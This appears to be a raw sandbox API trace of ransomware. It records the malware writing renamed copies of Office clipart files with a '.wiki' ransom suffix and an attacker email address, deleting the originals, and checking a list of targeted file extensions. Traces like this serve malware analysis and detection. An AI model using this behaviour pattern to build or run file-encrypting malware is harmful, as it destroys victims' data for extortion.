[0194.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0194.660] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.660] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0194.660] GetLastError () returned 0x0 [0194.660] ReadFile (in: hFile=0x1cc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0xbcfc, lpOverlapped=0x0) returned 1 [0194.697] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xbd00, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xbd00, lpOverlapped=0x0) returned 1 [0194.699] ReadFile (in: hFile=0x1cc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.699] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.699] SetEndOfFile (hFile=0x1f8) returned 1 [0194.699] CloseHandle (hObject=0x1f8) returned 1 [0194.699] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.699] SetEndOfFile (hFile=0x1cc) returned 1 [0194.700] CloseHandle (hObject=0x1cc) returned 1 [0194.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.701] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf")) returned 1 [0194.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0194.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0194.701] lstrlenW (lpString=".doc") returned 4 [0194.701] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.701] lstrlenW (lpString=".docx") returned 5 [0194.701] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0194.701] lstrlenW (lpString=".pdf") returned 4 [0194.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.701] lstrlenW (lpString=".xls") returned 4 [0194.701] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.701] lstrlenW (lpString=".xlsx") returned 5 [0194.701] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0194.701] lstrlenW (lpString=".ppt") returned 4 [0194.701] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0194.701] lstrlenW (lpString=".zip") returned 4 [0194.701] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.701] lstrlenW (lpString=".rar") returned 4 [0194.701] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.701] lstrlenW (lpString=".bz2") returned 4 [0194.701] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.701] lstrlenW (lpString=".7z") returned 3 [0194.701] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0194.701] lstrlenW (lpString=".dbf") returned 4 [0194.702] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0194.702] lstrlenW (lpString=".1cd") returned 4 [0194.702] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0194.702] lstrlenW (lpString=".jpg") returned 4 [0194.702] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0194.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0194.702] lstrlenW (lpString=".doc") returned 4 [0194.702] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.702] lstrlenW (lpString=".docx") returned 5 [0194.702] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0194.702] lstrlenW (lpString=".pdf") returned 4 [0194.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.702] lstrlenW (lpString=".xls") returned 4 [0194.702] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.702] lstrlenW (lpString=".xlsx") returned 5 [0194.702] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0194.702] lstrlenW (lpString=".ppt") returned 4 [0194.702] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0194.702] lstrlenW (lpString=".zip") returned 4 [0194.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.702] lstrlenW (lpString=".rar") returned 4 [0194.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.702] lstrlenW (lpString=".bz2") returned 4 [0194.702] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.702] lstrlenW (lpString=".7z") returned 3 [0194.702] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0194.703] lstrlenW (lpString=".dbf") returned 4 [0194.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0194.703] lstrlenW (lpString=".1cd") returned 4 [0194.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0194.703] lstrlenW (lpString=".jpg") returned 4 [0194.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.703] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.703] lstrlenW (lpString="J0107146.WMF") returned 12 [0194.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0194.703] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=14996) returned 1 [0194.704] CloseHandle (hObject=0x1cc) returned 1 [0194.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf")) returned 0x20 [0194.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0194.704] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.704] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0194.704] GetLastError () returned 0x0 [0194.704] ReadFile (in: hFile=0x1cc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x3a94, lpOverlapped=0x0) returned 1 [0194.729] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x3aa0, lpOverlapped=0x0) returned 1 [0194.730] ReadFile (in: hFile=0x1cc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.730] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.730] SetEndOfFile (hFile=0x1f8) returned 1 [0194.730] CloseHandle (hObject=0x1f8) returned 1 [0194.730] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.730] SetEndOfFile (hFile=0x1cc) returned 1 [0194.731] CloseHandle (hObject=0x1cc) returned 1 [0194.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.731] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf")) returned 1 [0194.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0194.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0194.732] lstrlenW (lpString=".doc") returned 4 [0194.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.732] lstrlenW (lpString=".docx") returned 5 [0194.732] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0194.732] lstrlenW (lpString=".pdf") returned 4 [0194.732] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.732] lstrlenW (lpString=".xls") returned 4 [0194.732] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.732] lstrlenW (lpString=".xlsx") returned 5 [0194.732] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0194.732] lstrlenW (lpString=".ppt") returned 4 [0194.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0194.732] lstrlenW (lpString=".zip") returned 4 [0194.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.732] lstrlenW (lpString=".rar") returned 4 [0194.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.732] lstrlenW (lpString=".bz2") returned 4 [0194.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.732] lstrlenW (lpString=".7z") returned 3 [0194.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0194.732] lstrlenW (lpString=".dbf") returned 4 [0194.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0194.732] lstrlenW (lpString=".1cd") returned 4 [0194.733] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0194.733] lstrlenW (lpString=".jpg") returned 4 [0194.733] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0194.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0194.733] lstrlenW (lpString=".doc") returned 4 [0194.733] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.733] lstrlenW (lpString=".docx") returned 5 [0194.733] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0194.733] lstrlenW (lpString=".pdf") returned 4 [0194.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.733] lstrlenW (lpString=".xls") returned 4 [0194.733] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.733] lstrlenW (lpString=".xlsx") returned 5 [0194.733] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0194.733] lstrlenW (lpString=".ppt") returned 4 [0194.733] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0194.733] lstrlenW (lpString=".zip") returned 4 [0194.733] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.733] lstrlenW (lpString=".rar") returned 4 [0194.733] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.733] lstrlenW (lpString=".bz2") returned 4 [0194.733] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.733] lstrlenW (lpString=".7z") returned 3 [0194.733] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0194.733] lstrlenW (lpString=".dbf") returned 4 [0194.733] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0194.734] lstrlenW (lpString=".1cd") returned 4 [0194.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0194.734] lstrlenW (lpString=".jpg") returned 4 [0194.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.734] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.734] lstrlenW (lpString="J0107152.WMF") returned 12 [0194.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0194.734] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=22532) returned 1 [0194.734] CloseHandle (hObject=0x1cc) returned 1 [0194.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf")) returned 0x20 [0194.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0194.735] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.735] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0194.735] GetLastError () returned 0x0 [0194.735] ReadFile (in: hFile=0x1cc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x5804, lpOverlapped=0x0) returned 1 [0194.752] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x5810, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x5810, lpOverlapped=0x0) returned 1 [0194.753] ReadFile (in: hFile=0x1cc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.753] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.972] SetEndOfFile (hFile=0x1f8) returned 1 [0194.972] CloseHandle (hObject=0x1f8) returned 1 [0194.972] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.972] SetEndOfFile (hFile=0x1cc) returned 1 [0195.064] CloseHandle (hObject=0x1cc) returned 1 [0195.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.064] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf")) returned 1 [0195.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0195.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0195.065] lstrlenW (lpString=".doc") returned 4 [0195.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.065] lstrlenW (lpString=".docx") returned 5 [0195.065] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0195.065] lstrlenW (lpString=".pdf") returned 4 [0195.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.065] lstrlenW (lpString=".xls") returned 4 [0195.065] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.065] lstrlenW (lpString=".xlsx") returned 5 [0195.065] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0195.065] lstrlenW (lpString=".ppt") returned 4 [0195.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0195.065] lstrlenW (lpString=".zip") returned 4 [0195.065] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.065] lstrlenW (lpString=".rar") returned 4 [0195.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.065] lstrlenW (lpString=".bz2") returned 4 [0195.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.065] lstrlenW (lpString=".7z") returned 3 [0195.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0195.065] lstrlenW (lpString=".dbf") returned 4 [0195.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0195.065] lstrlenW (lpString=".1cd") returned 4 [0195.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0195.066] lstrlenW (lpString=".jpg") returned 4 [0195.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0195.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0195.066] lstrlenW (lpString=".doc") returned 4 [0195.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.066] lstrlenW (lpString=".docx") returned 5 [0195.066] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0195.066] lstrlenW (lpString=".pdf") returned 4 [0195.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.066] lstrlenW (lpString=".xls") returned 4 [0195.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.066] lstrlenW (lpString=".xlsx") returned 5 [0195.066] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0195.066] lstrlenW (lpString=".ppt") returned 4 [0195.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0195.066] lstrlenW (lpString=".zip") returned 4 [0195.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.066] lstrlenW (lpString=".rar") returned 4 [0195.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.066] lstrlenW (lpString=".bz2") returned 4 [0195.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.066] lstrlenW (lpString=".7z") returned 3 [0195.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0195.066] lstrlenW (lpString=".dbf") returned 4 [0195.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0195.066] lstrlenW (lpString=".1cd") returned 4 [0195.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0195.067] lstrlenW (lpString=".jpg") returned 4 [0195.067] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.067] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.067] lstrlenW (lpString="J0107302.WMF") returned 12 [0195.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0195.067] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=4136) returned 1 [0195.067] CloseHandle (hObject=0x1cc) returned 1 [0195.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf")) returned 0x20 [0195.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 